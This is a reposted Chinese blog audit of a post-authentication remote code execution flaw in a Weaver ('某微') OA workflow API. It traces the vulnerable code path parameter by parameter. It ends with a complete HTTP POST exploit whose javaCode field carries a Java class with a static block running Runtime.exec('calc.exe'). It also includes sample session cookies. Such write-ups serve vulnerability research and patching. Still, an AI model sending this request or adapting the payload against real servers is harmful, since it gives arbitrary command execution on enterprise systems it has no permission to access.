首页 > 其他分享 >某微1day后台RCE审计漏洞

某微1day后台RCE审计漏洞

时间:2022-12-30 17:13:11浏览次数:64  
标签:Action workflow interfaces javacode 1day action RCE weaver 某微

某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化


溯源找到InterfaceRegisterCustomOperationCmd #excute


访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞


因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

这里var14要为add

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}





转载来自: https://xz.aliyun.com/t/11947

标签:Action,workflow,interfaces,javacode,1day,action,RCE,weaver,某微
From: https://www.cnblogs.com/backlion/p/17015353.html

相关文章

  • springboot HandlerIntercept
    1、新建上下文类工具类publicclassContextHolder{privatestaticfinalInheritableThreadLocal<RequestContext>REQUEST_CONTEXT_INHERITABLE_THREAD_LOCAL=......
  • Codeforces Round #838 (Div. 2) A-B,补C,D
    A.DivideandConquer题意:给定n个数,每次操作可以使得:$$\lfloor\frac{ai}{2}\rfloor$$,求最少的操作次数使得n个数的总和为偶数。分析:和为偶数,res=0和为奇数,暴力......
  • Codeforces 1253 C. Sweets Eating 做题记录(DP)
    很明显,贪心策略是先吃甜度大的可以保证最终的总甜度最小,因此我们先从小到大排个序。一天可以吃$m$个,因此我们对于每个$k$,就让甜度前$1~m$名在第一天吃,前$m+1~2m$名第二......
  • [Codeforces Round #841]
    [CodeforcesRound#841]CodeforcesRound#841(Div.2)andDividebyZero2022A.JoeyTakesMoneyJoeyTakesMoneProblem:给一个正整数序列\(a_1,a_2,…,a_n(n......
  • Codeforces 1336 F Journey 题解
    题目链接这题的方法口糊一下没有很难,没达到3500的水准。但是写起来才发现是真的恶心(主要是容易写错),没写过这么累的题,可能难度就体现在这里吧。计数的时候是要分类讨论......
  • Codeforces Round #690 (Div. 3) E1. Close Tuples (easy version) (贪心+思维)
    https://codeforces.com/contest/1462/problem/E1E1.CloseTuples(easyversion)题目大意:给定一个长度为n的序列a,由1到n的整数组成,某些元素可能相等。找出m=3个元......
  • Codeforces 1336 F Journey 题解
    题目链接这题的方法口糊一下没有很难,没达到3500的水准。但是写起来才发现是真的恶心(主要是容易写错),没写过这么累的题,可能难度就体现在这里吧。计数的时候是要分类讨论......
  • Codeforces Round #766 (Div. 2)C,D
    CodeforcesRound#766(Div.2)C,D今天A竟然看错了,还好后来发现了,A题就写了40几分钟,真有你的过了B,排名是8千多,比前几天好一点,加油ヾ(◍°∇°◍)ノ゙CC相比于D,我更没有......
  • Codeforces Round #764 E
    E.Masha-forgetful题链结论就是任何长的串都可以被2,3长度的串表示后面就是暴力hash和很常规的dp[i]表示前i个是否匹配了voidsolve(){intn,m;cin>>n>>m;tu......
  • 谣言检测(ACLR)《Detect Rumors in Microblog Posts for Low-Resource Domains via Adve
    论文信息论文标题:DetectRumorsinMicroblogPostsforLow-ResourceDomainsviaAdversarialContrastiveLearning论文作者:HongzhanLin,JingMa,LiangliangChen,......